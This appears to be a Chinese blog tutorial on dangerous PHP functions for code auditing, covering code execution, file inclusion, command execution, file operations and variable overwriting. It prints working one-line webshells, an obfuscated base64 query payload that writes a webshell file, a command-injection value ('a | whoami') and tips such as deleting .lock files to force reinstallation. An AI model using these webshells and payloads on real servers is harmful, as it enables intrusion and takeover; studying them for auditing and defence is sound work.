PHP代码执行函数 - eval & assert & preg_replace

mixed eval ( string $code )

把字符串 $code 作为PHP代码执行。
很多常见的 webshell 都是用eval 来执行具体操作的。
<?php @eval($_POST['v']);?>
eval一般出现的场景是
<?php
$string = '杯子';
$name = '咖啡';
$str = '这个 $string 中装有 $name.<br>';
echo $str;
eval( "$str = "$str";" );
echo $str;
?>
 

bool assert ( mixed $assertion [, string $description ] )

检查一个断言是否为 FALSE。(把字符串 $assertion 作为PHP
代码执行)
因为大多数杀软把eval列入黑名单了,所以用 assert 来替代eval 来执行具体操作的。
<?php $_GET[a]($_GET[b]);?>
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5
waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWw
oJF9QT1NUW2NdKTsgPz4x%29%29};

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码

preg_replace("/test/e",$_GET["h"],"jutst test");

如果我们提交 ?h=phpinfo(),phpinfo()将会被执行

 

string create_function ( string $args , string $code )

创建一个匿名函数,并返回独一无二的函数名。
$newfunc = create_function('$v', 'return system($v);');
$newfunc('whoami');就相当于system('whoami');
 

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

mixed call_user_func_array ( callable $callback , array $param_arr )

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

 
 
 
 

PHP文件包含函数

require、include、require_once、include_once

包含函数 一共有四个,主要作用为包含并运行指定文件。

include $file;

在变量 $file 可控的情况下,我们就可以包含任意文件,从而达到 getshell 的目的。

另外,在不同的配置环境下,可以包含不同的文件。

因此又分为远程文件包含和本地文件包含。

包含函数也能狗读取任意文件内容,这就需要用到【支持的协议和封装协议】和【过滤器】。

例如,利用php流filter读取任意文件

include($_GET['file']);

PHP命令执行函数

exec() — 执行一个外部程序
• passthru() — 执行外部程序并且显示原始输出
• proc_open() — 执行一个命令,并且打开用来输入/输出的文件指针。
• shell_exec() & `` — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
• system() — 执行外部程序,并且显示输出
• popen() — 通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。

执行函数包括但不限于上述几个。

同样的道理、只要命令的参数可控就能狗执行系统命令。

例如:

system( $cmd ); 或者 system('ping -c 3 ' . $target );
当 $cmd 可以空就能执行任意命令,
而当 $target 可控的话,可以用管道符等特殊字符截断从而执行任意命令。
$target = 'a | whoami';

PHP文件操作函数

copy — 拷贝文件
• file_get_contents — 将整个文件读入一个字符串
• file_put_contents — 将一个字符串写入文件
• file — 把整个文件读入一个数组中
• fopen — 打开文件或者 URL
• move_uploaded_file — 将上传的文件移动到新位置
• readfile — 输出文件
• rename — 重命名一个文件或目录
• rmdir — 删除目录
• unlink & delete — 删除文件

任意文件读取、写入、删除往往是上面几个函数受到了控制(当然还有其他的函数)。

不同的函数在不同的场景有不同的作用和不同的利用手法。

读取:可以读取配置等文件,拿到key

写入:可以写入shell代码相关的内容

删除:可以删除.lock文件而可以重新安装覆盖

更多思路请自行挖掘测试!!

PHP特殊函数

信息泄漏

bool phpinfo ([ int $what = INFO_ALL ] )

输出 PHP 当前状态的大量信息,包含了 PHP 编译选项、启用的扩展、PHP 版本、服务器信息和环境变量(如

果编译为一个模块的话)、PHP环境变量、操作系统版本信息、path 变量、配置选项的本地值和主值、HTTP

头和PHP授权信息(License)。

软连接-读取文件内容

bool symlink ( string $target , string $link )

symlink() 对于已有的 target 建立一个名为 link 的符号连接。

string readlink ( string $path )

readlink() 和同名的 C 函数做同样的事,返回符号连接的内容。

环境变量

string getenv ( string $varname )

获取一个环境变量的值。

bool putenv ( string $setting )

添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。

加载扩展

bool dl ( string $library )

载入指定参数 library 的 PHP 扩展。

配置相关

string ini_get ( string $varname )

成功时返回配置选项的值。

string ini_set ( string $varname , string $newvalue )

string ini_alter ( string $varname , string $newvalue )

设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。

void ini_restore ( string $varname )

恢复指定的配置选项到它的原始值。

数字判断

bool is_numeric ( mixed $var )

如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE。

仅用is_numeric判断而不用intval转换就有可能插入16进制的字符串到数据库,进而可能导致sql二次注入。

数组相关

bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

在 haystack 中搜索 needle,如果没有设置 strict 则使用宽松的比较。

该函数有一个特性,比较之前会进行自动类型转换。

$a = '1abc';

in_array($a,array(1,2,3))的返回值会是真

PHP变量覆盖函数

void parse_str ( string $str [, array &$arr ] )

如果 str 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域。

int extract ( array &$var_array [, int $extract_type = EXTR_OVERWRITE [, string $prefix = NULL ]] )

本函数用来将变量从数组中导入到当前的符号表中。检查每个键名看是否可以作为一个合法的变量名,同时也

检查和符号表中已有的变量名的冲突。

bool mb_parse_str ( string $encoded_string [, array &$result ] )

解析 GET/POST/COOKIE 数据并设置全局变量。 由于 PHP 不提供原始 POST/COOKIE 数据,目前它仅能够

用于 GET 数据。 它解析了 URL 编码过的数据,检测其编码,并转换编码为内部编码,然后设置其值为 array

的 result 或者全局变量。

bool import_request_variables ( string $types [, string $prefix ] )

将 GET/POST/Cookie 变量导入到全局作用域中。如果你禁止了 register_globals,但又想用到一些全局变

量,那么此函数就很有用。

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str);
echo $first;
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

列目录

array glob ( string $pattern [, int $flags = 0 ] )

glob() 函数依照 libc glob() 函数使用的规则寻找所有与 pattern 匹配的文件路径,类似于一般 shells 所用的

规则一样。不进行缩写扩展或参数替代。

无参数获取信息

array get_defined_vars ( void )

返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

array get_defined_constants ([ bool $categorize = false ] )

返回当前所有已定义的常量名和值。 这包含 define() 函数所创建的,也包含了所有扩展所创建的。

array get_defined_functions ( void )

返回一个包含所有已定义函数列表的多维数组

array get_included_files ( void )

返回所有被 include、 include_once、 require 和 require_once 的文件名。

 
 
 
 
 
 
 
 
 
 
 
 

常见PHP危险函数及特殊函数的更多相关文章

  1. php常见的危险函数

    代码执行的危险函数 eval() 把字符串作为php代码执行 早期php一句话木马都用这个 <?php @eval($_POST['shell']);?> assert() 检查一个断言是 ...

  2. Java开发中常见的危险信号(中)

    本文来源于我在InfoQ中文站原创的文章,原文地址是:http://www.infoq.com/cn/news/2013/12/common-red-flags-in-java-1 Dustin Ma ...

  3. Java开发中常见的危险信号(上)

    本文来源于我在InfoQ中文站原创的文章,原文地址是:http://www.infoq.com/cn/news/2013/12/common-red-flags-in-java-1 Dustin Ma ...

  4. Apache降权和禁用PHP危险函数

    测试环境: Windows Server 2003 + phpstudy 首先在win2003里运行phpstudy,这里注意需要选择应用系统服务模式,应用之后重启phpstudy. 打开系统服务(开 ...

  5. mysql3 - 常规数据检索、常见操作与函数

    一.常规数据检索 二.常见操作与函数

  6. SAS中常见的数组函数

    SAS中常见的数组函数有: dim dimk hbound hboundk lbound lboundk 数组函数计萁数组的维数.上下界,有利于写出可移植的程序,数组函数包括:dim(x) 求数组x第 ...

  7. 禁用了传说中的PHP危险函数之后,Laravel的定时任务不能执行了?

    虽然已是 2018 年,但网上依然流传着一些「高危 PHP 函数,请一定要禁用!」的标题党文章(搜索关键字:一些需要禁用的PHP危险函数). 这些文章的内容简单直接,给出 php.ini 的 disa ...

  8. 2018.8.17 关于JavaScript的几种常见的全局函数

    JavaScript常见的全局函数 <!doctype html> <html lang="en"> <head> <meta chars ...

  9. PHP危险函数总结学习

    1.PHP中代码执行的危险函数 call_user_func() 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数. 传入call_user_func()的参数不能为引用传递 ...

随机推荐

  1. Spinner列表选择框

    Spinner首先它是一个弹出式的列表选择框,由于间接继承了ViewGroup,所以它可以当做一个容器使用; 如果我们可以明确下拉列表中的列表项, 则可以不需要编写代码, 只需要为spinner指定a ...

  2. AutoCompleteTextView自动完成文本框

    AutoCompleteTextView是从EditText派生出来的,比普通编辑框多了一个功能,当用户输入一定字符后,自动完成文本框会显示一个下拉单,供用户选择,当选中一个后,被选中的内容会显示在文 ...

  3. Winform中使用FastReport的DesignReport时怎样给通过代码Table添加数据

    场景 FastReport安装包下载.安装.去除使用限制以及工具箱中添加控件: https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/10 ...

  4. maven下载jar包源码配置

    两个依赖,就想下mail的源码包,因该怎么 <dependencies> <dependency> <groupId>javax.mail</groupId& ...

  5. 《Java7并发编程实战手册》读书笔记

    一.线程管理 1.线程的创建和运行 创建线程的2种方式: 继承Thread类,并覆盖run()方法 创建一个实现Runnable接口的类.使用带参数的Thread构造器来创建Thread对象 每个Ja ...

  6. Java秒杀系统优化的工程要点

    这篇博客是笔者学习慕课网若鱼老师的<Java秒杀系统方案优化 高性能高并发实战>课程的学习笔记.若鱼老师授课循循善诱,讲解由浅入深,欢迎大家支持. 本文记录课程中的注意点,方便以后code ...

  7. loadrunner12下载、安装、认证、汉化

    友情提示 推荐工具pandownload下载 本文尽可能地写得详细一些,有不懂的请先自行百度 安装过程中会有大量英文,可以用有道词典截图翻译 若你的电脑只有一个分区,则建议所有位置选择默认,或者根据个 ...

  8. .NET生成漂亮桌面背景

    .NET生成漂亮桌面背景 一天,我朋友指着某某付费软件对我说,这个东西不错,每天生成一张桌面背景,还能学英语(放置名人名言和翻译)!我说,这东西搞不好我也能做,然后朋友说,"如果你搞出来了, ...

  9. 使用Espresso测试记录

    准备工作 建立测试项目 添加测试依赖 编写Espresso测试 运行测试并检查测试结果 建立测试项目 使用Android Studio建立测试项目,Activity模版使用 LoginActivity ...

  10. 阿里云centos6.9搭建fastDFS文件服务器

    准备压缩包: 1.fastdfs-nginx-module_v1.16.tar.gz 2.FastDFS_v5.05.tar.gz 3.libfastcommonV1.0.7.tar.gz 4.ngi ...